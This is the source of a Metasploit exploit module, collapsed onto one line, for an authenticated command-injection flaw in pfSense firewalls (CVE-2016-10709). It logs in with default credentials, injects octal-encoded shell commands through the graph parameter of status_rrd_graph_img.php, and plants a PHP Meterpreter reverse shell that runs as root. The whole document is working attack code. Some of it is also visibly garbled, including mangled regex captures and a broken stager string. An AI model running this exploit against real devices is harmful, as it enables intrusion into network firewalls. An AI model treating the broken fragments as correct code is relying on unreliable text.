## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'pfSense authenticated graph status RCE', 'Description' => %q( pfSense, a free BSD based open source firewall distribution, version <= 2.2.6 contains a remote command execution vulnerability post authentication in the _rrd_graph_img.php page. The vulnerability occurs via the graph GET parameter. A non-administrative authenticated attacker can inject arbitrary operating system commands and execute them as the root user. Verified against 2.2.6, 2.2.5, and 2.1.3. ), 'Author' => [ 'Security-Assessment.com', # discovery 'Milton Valencia', # metasploit module 'Jared Stephens', # python script ], 'References' => [ [ 'CVE', '2016-10709' ], [ 'EDB', '39709' ], [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf'] ], 'License' => MSF_LICENSE, 'Platform' => 'php', 'Privileged' => 'true', 'DefaultOptions' => { 'SSL' => true, 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'Encoder' => 'php/base64' }, 'Arch' => [ ARCH_PHP ], 'Payload' => { 'Space' => 6000, 'Compat' => { 'ConnectionType' => '-bind', } }, 'Targets' => [[ 'Automatic Target', {} ]], 'DefaultTarget' => 0, 'DisclosureDate' => '2016-04-18', ) ) register_options( [ OptString.new('USERNAME', [ true, 'User to login with', 'admin']), OptString.new('PASSWORD', [ true, 'Password to login with', 'pfsense']), Opt::RPORT(443) ], self.class ) end def login res = send_request_cgi( 'uri' => '/index.php', 'method' => 'GET' ) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200 /var csrfMagicToken = "(?sid:[a-z0-9,;:]+)";/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? vprint_status("CSRF Token for login: #{csrf}") res = send_request_cgi( 'uri' => '/index.php', 'method' => 'POST', 'vars_post' => { '__csrf_magic' => csrf, 'usernamefld' => datastore['USERNAME'], 'passwordfld' => datastore['PASSWORD'], 'login' => '' } ) unless res fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request") end if res.code == 302 vprint_status("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") return res.get_cookies else fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") return nil end end def detect_version(cookie) res = send_request_cgi( 'uri' => '/index.php', 'method' => 'GET', 'cookie' => cookie ) unless res fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request") end /Version.+(?[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body if version print_status("Detected pfSense #{version}, uploading intial payload") return Rex::Version.new(version) end # If the device isn't fully setup, you get stuck at redirects to wizard.php # however, this does NOT stop exploitation strangely print_error('pfSense version not detected or wizard still enabled.') Rex::Version.new('0.0') end def exploit begin cookie = login version = detect_version(cookie) filename = rand_text_alpha(rand(1..10)) # generate the PHP meterpreter payload stager = 'echo \'\' > #{filename}" # here we begin the encoding process to # convert the payload to octal! Ugly code # don't look complete_stage = "" for i in 0..(stager.length()-1) if version.to_s =~ /2.2/ complete_stage << '\\' end complete_stage << "\\#{stager[i].ord.to_s(8)}" end res = send_request_cgi( 'uri' => '/status_rrd_graph_img.php', 'method' => 'GET', 'cookie' => cookie, 'vars_get' => { 'database' => '-throughput.rrd', 'graph' => "file|printf '#{complete_stage}'|sh|echo", } ) if res && res.code == 200 print_status('Payload uploaded successfully, executing') register_file_for_cleanup(filename) else print_error('Failed to upload payload...') end res = send_request_cgi({ 'uri' => '/status_rrd_graph_img.php', 'method' => 'GET', 'cookie' => cookie, 'vars_get' => { 'database' => '-throughput.rrd', 'graph' => "file|php #{filename}|echo " } }) disconnect end end end